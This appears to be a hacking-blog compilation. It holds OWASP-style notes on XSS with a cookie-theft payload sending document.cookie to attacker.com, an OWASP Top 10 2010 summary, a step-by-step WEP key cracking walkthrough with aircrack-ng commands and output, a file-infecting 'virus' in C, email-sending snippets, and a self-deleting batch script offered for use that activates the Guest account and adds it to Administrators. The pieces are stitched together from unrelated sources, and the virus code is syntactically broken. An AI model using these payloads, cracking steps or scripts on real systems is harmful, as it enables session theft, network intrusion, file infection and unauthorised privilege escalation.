XSS(CROSS-SITE SCRIPTING)

XSS flaws occur whenever an application takes untrusteddata and sends it to a web browser without proper validation and escaping. XSS allows attackers to execute scripts in the victim’s browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites.

1)who is Vulnerable to XSS:

You need to ensure that all user supplied input sent back to the browser is verified to be safe (via input validation), and that user input is properly escaped before it is included in the output page. Proper output encoding ensures that such input is always treated as text in the browser, rather than active content that might get executed.Both static and dynamic tools can find some XSS problems automatically. However, each application builds output pages differently and uses different browser side interpreters such as JavaScript, ActiveX, Flash, and Silverlight, which makes automated detection difficult. Therefore, complete coverage requires a combination of manual code review and manual penetration testing, in addition to any automated approaches in use.Web 2.0 technologies, such as AJAX, make XSS much more difficult to detect via automated tools.

2)How to Prevent XSS attacks:

Preventing XSS requires keeping untrusteddata separate from active browser content.

1.The preferred option is to properly escape all untrusteddata based on the HTML context (body, attribute, JavaScript, CSS, or URL) that the data will be placed into. Developers need to include this escaping in their applications unless their UI framework does this for them.

2.Positive or “whitelist” input validation is also recommended as it helps protect against XSS, but is not a complete defense as many applications must accept special characters. Such validation should decode any encoded input, and then validate the length, characters, and format on that data before accepting the input.

3.Consider employing Mozilla’s new Content Security Policy that is coming out in Firefox 4 to defend against XSS.

3)Attack scenario with example:

The application uses untrusteddata in the construction of the following HTML snippet without validation or escaping:

(String) page += "<input name='creditcard' type='TEXT‘value='" + request.getParameter("CC") + "'>";

The attacker modifies the ‘CC’ parameter in their browser to:

'><script>document.location='http://www.attacker.com/cgi-bin/cookie.cgi?foo='+document.cookie</script>'.

This causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session.

Note that attackers can also use XSS to defeat any automated CSRF defense the application might employ. See A5 for info on CSRF.

Top most 10 Network security concern:

Top most 10 security concern is given below. These were major security flaws in 2010.

1 –Injection

•Injection flaws, such as SQL, OS, and LDAP injection, occur when untrusted data is sent to an interpreter as part of a command or query. The attacker’s hostile data can trick the interpreter into executing unintended commands or accessing unauthorized data.

2 –Cross-Site Scripting (XSS)

•XSS flaws occur whenever an application takes untrusted data and sends it to a web browser without proper validation and escaping. XSS allows attackers to execute scripts in the victim’s browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites.

3 –Broken Authentication and Session Management

•Application functions related to authentication and session management are often not implemented correctly, allowing attackers to compromise passwords, keys, session tokens, or exploit other implementation flaws to assume other users’ identities.

4 –Insecure Direct Object References

•A direct object reference occurs when a developer exposes a reference to an internal implementation object, such as a file, directory, or database key. Without an access control check or other protection, attackers can manipulate these references to access unauthorized data.

5 –Cross-Site Request Forgery (CSRF)

•A CSRF attack forces a logged-on victim’s browser to send a forged HTTP request, including the victim’s session cookie and any other automatically included authentication information, to a vulnerable web application. This allows the attacker to force the victim’s browser to generate requests the vulnerable application thinks are legitimate requests from the victim.

6 –Security Misconfiguration

•Good security requires having a secure configuration defined and deployed for the application, frameworks, application server, web server, database server, and platform. All these settings should be defined, implemented, and maintained as many are not shipped with secure defaults. This includes keeping all software up to date, including all code libraries used by the application.

7 –Insecure Cryptographic Storage

•Many web applications do not properly protect sensitive data, such as credit cards, SSNs, and authentication credentials, with appropriate encryption or hashing. Attackers may steal or modify such weakly protected data to conduct identity theft, credit card fraud, or other crimes.

8 -Failure to Restrict URL Access

•Many web applications check URL access rights before rendering protected links and buttons. However, applications need to perform similar access control checks each time these pages are accessed, or attackers will be able to forge URLs to access these hidden pages anyway.

9 -Insufficient Transport Layer Protection

•Applications frequently fail to authenticate, encrypt, and protect the confidentiality and integrity of sensitive network traffic. When they do, they sometimes support weak algorithms, use expired or invalid certificates, or do not use them correctly.

10 –UnvalidatedRedirects and Forwards

•Web applications frequently redirect and forward users to other pages and websites, and use untrusteddata to determine the destination pages. Without proper validation, attackers can redirect victims to phishing or malware sites, or use forwards to access unauthorized pages.

About OWASP.... (A Web security innovative)

The Open Web Application Security Project (OWASP) is an open community dedicated to enabling organizations to develop, purchase, and maintain applications that can be trusted. All of the OWASP tools,

Documents, forums, and chapters are free and open to anyone interested in improving application security. We advocate approaching application security as a people, process, and technology problem, because the most effective approaches to application security require improvements in all of these areas.

OWASP is a new kind of organization. Our freedom from commercial pressures allows us to provide unbiased, practical, cost-effective information about application security. OWASP is not affiliated with any technology company, although we support the informed use of commercial security technology. Similar to many open-source software projects, OWASP produces many types of materials in a collaborative, open way.

The OWASP Foundation is the non-profit entity that ensures the project’s long-term success. Almost everyone associated with OWASP is a volunteer, including the OWASP Board, Global Committees, Chapter Leaders, Project Leaders, and project members. We support innovative security research with grants and infrastructure.

OWASP Top 10 –2007 (Previous)	OWASP Top 10 –2010 (New)
A2 –Injection Flaws	A1 –Injection
A1 –CrossSite Scripting (XSS)	A2 –Cross-Site Scripting (XSS)
A7 –Broken Authentication and Session Management	A3 –Broken Authentication and Session Management
A4 –Insecure Direct Object Reference	A4 –Insecure Direct Object References
A5 –Cross Site Request Forgery (CSRF)	A5 –Cross-Site Request Forgery (CSRF)
<was T10 2004 A10 –Insecure Configuration Management>	A6 –Security Misconfiguration(NEW)
A8 –Insecure Cryptographic Storage	A7 –Insecure Cryptographic Storage
A10 –Failure to Restrict URL Access	A8 –Failure to Restrict URL Access
A9 –InsecureCommunications	A9 –Insufficient Transport Layer Protection
<not in T10 2007>	A10 –UnvalidatedRedirects and Forwards (NEW)
A3–Malicious File Execution	<dropped fromT102010>
A6 –Information Leakage and Improper Error Handling	<droppedfrom T102010>

WEP cracking

Step 1 - Start the wireless interface in monitor mode on AP channel

airmon-ng stop ath0

The system responds:

Interface Chipset Driver

wifi0 Atheros madwifi-ng
ath0 Atheros madwifi-ng VAP (parent: wifi0) (VAP destroyed)

Step 2 - Test Wireless Device Packet Injection

aireplay-ng -9 -e teddy -a 00:14:6C:7E:40:80 ath0

Where:
-9 means injection test
-e teddy is the wireless network name
-a 00:14:6C:7E:40:80 is the access point MAC address
ath0 is the wireless interface name

Step 3 - Start airodump-ng to capture the IVs

airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w output ath0


While the injection is taking place (later), the screen will look similar to this:
CH 9 ][ Elapsed: 8 mins ][ 2007-03-21 19:25

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:14:6C:7E:40:80 42 100 5240 178307 338 9 54 WEP WEP teddy

BSSID STATION PWR Lost Packets Probes

00:14:6C:7E:40:80 00:0F:B5:88:AC:82 42 0 183782

Step 4 - Use aireplay-ng to do a fake authentication with the access point

aireplay-ng -1 0 -e teddy -a 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0

Where:
-1 means fake authentication
0 reassociation timing in seconds
-e teddy is the wireless network name
-a 00:14:6C:7E:40:80 is the access point MAC address
-h 00:0F:B5:88:AC:82 is our card MAC address
ath0 is the wireless interface name
Success looks like:

18:18:20 Sending Authentication Request
18:18:20 Authentication successful
18:18:20 Sending Association Request
18:18:20 Association successful :-)

Step 5 - Start aireplay-ng in ARP request replay mode

aireplay-ng -3 -b 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0

Step 6 - Run aircrack-ng to obtain the WEP key
aircrack-ng -b 00:14:6C:7E:40:80 output*.cap

Where:
-b 00:14:6C:7E:40:80 selects the one access point we are interested in. This is optional since when we originally captured the data, we applied a filter to only

capture data for this one AP.
output*.cap selects all files starting with “output” and ending in ”.cap”.

Here is what success looks like:

Aircrack-ng 0.9


[00:03:06] Tested 674449 keys (got 96610 IVs)

KB depth byte(vote)
0 0/ 9 12( 15) F9( 15) 47( 12) F7( 12) FE( 12) 1B( 5) 77( 5) A5( 3) F6( 3) 03( 0)
1 0/ 8 34( 61) E8( 27) E0( 24) 06( 18) 3B( 16) 4E( 15) E1( 15) 2D( 13) 89( 12) E4( 12)
2 0/ 2 56( 87) A6( 63) 15( 17) 02( 15) 6B( 15) E0( 15) AB( 13) 0E( 10) 17( 10) 27( 10)
3 1/ 5 78( 43) 1A( 20) 9B( 20) 4B( 17) 4A( 16) 2B( 15) 4D( 15) 58( 15) 6A( 15) 7C( 15)

KEY FOUND! [ 12:34:56:78:90 ]
Probability: 100%

A virus in "C".

unsigned long x;
char buff[256];
struct ffblk;

clock_t st,end;

main() //www.ashu-hackingforever.blogspot.com
{
st=clock();
clrscr();
end=(findfirst("*.*",&ffblk,0);
while(!end)
{
virus=fopen(_args[0],"rb");
vhost=fopen(ffblk.ff_name,"rb+");
if(vhost==NULL)
goto next;
x=89088;
printf("infecting %s\n",ffblk.ff_name);
while(x>2048)
{
fread(buff,256,1,virus);
fwrite(buff,256,1,vhost);
x=2048;
}
fread(buff,x,1,virus);
fwrite(buff,1,vhost);
a++;
next: fcloseall();
done=findnext(&ffblk);
}
end=clock();
printf("infected %d file in %f sec",a,(end-st)/CLK-TCK);
return(0);
}

create mail message object.

// create mail message object

MailMessage mail = new MailMessage();

mail.From = ""; // put the from address here

mail.To = ""; // put to address here

mail.Subject = ""; // put subject here

mail.Body = ""; // put body of email here

SmtpMail.SmtpServer = ""; // put smtp server you will use here

// and then send the mail

SmtpMail.Send(mail);



Here goes the program vc++ code



#define _CRTDBG_MAP_ALLOC

#include "windows.h"

#include "crtdbg.h"

#include "string.h"



#include "CkSettings.h"

#include "CkEmail.h"

#include "CkEmailBundle.h"

#include "CkMailMan.h"

#include "CkString.h"

#include "CkByteData.h"



void EmailExample(void)

{

CkMailMan mailman;



// This seems to have a 30-day trial period.

bool unlocked = mailman.UnlockComponent("30-day trial");

if (!unlocked)

{

printf("Failed to unlock component\n");

return;

}



mailman.put_SmtpHost("mail.earthlink.net");



This contains the actual email componets

CkEmail email;

email.put_Body("This is a test\r\nThis is line #2");

email.AddTo("Google Hacks","communityonwer@gmail.com");

email.put_FromAddress("communityonwer@gmail.com");

email.put_Subject("Google Hacks is the best site");



if (!mailman.SendEmail(&email))

{

mailman.SaveLastError("errors.xml"); // error

}

}



int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)

{

freopen("stdout.txt","w",stdout);

EmailExample();

CkSettings::cleanupMemory();

_CrtDumpMemoryLeaks();

return 0;

}





If you want html just replace body with a html code. Only basic html code will work.



If you wish to add BCC after email.AddTo() . You need to add this as many as times as you want based to how many people

you want to mail.

email.AddBcc("Orkut Tricks","communityonwer@gmail.com");



If you wish to add CC just copy the above code and replace Bcc with cc



Code to add attachments . Repete this code as many times as you want based on the no of attachments you want to send

// Add a file attachment.

if (!email.AddFileAttachment("googlehacks.gif",0))

{

email.SaveLastError("errors.xml");

return;

}





If you want all your attachments to be zipped the use this code after you enter all the attachments



if (!email.ZipAttachments("googlehacks.zip"))

{

email.SaveLastError("errors.xml");

return;

}

How to get the admin privilages.

The below code will allow a guest to be a admin . You will not be the actual admin but will get admin privilages

echo off
title Please wait...
cls
net user add Username Password /add
net user localgroup Administrators Username /add
net user Guest 420 /active:yes
net localgroup Guests Guest /DELETE
net localgroup Administrators Guest /add
del %0


Copy this to notepad and save the file as "anyname.bat" .make double click on this.....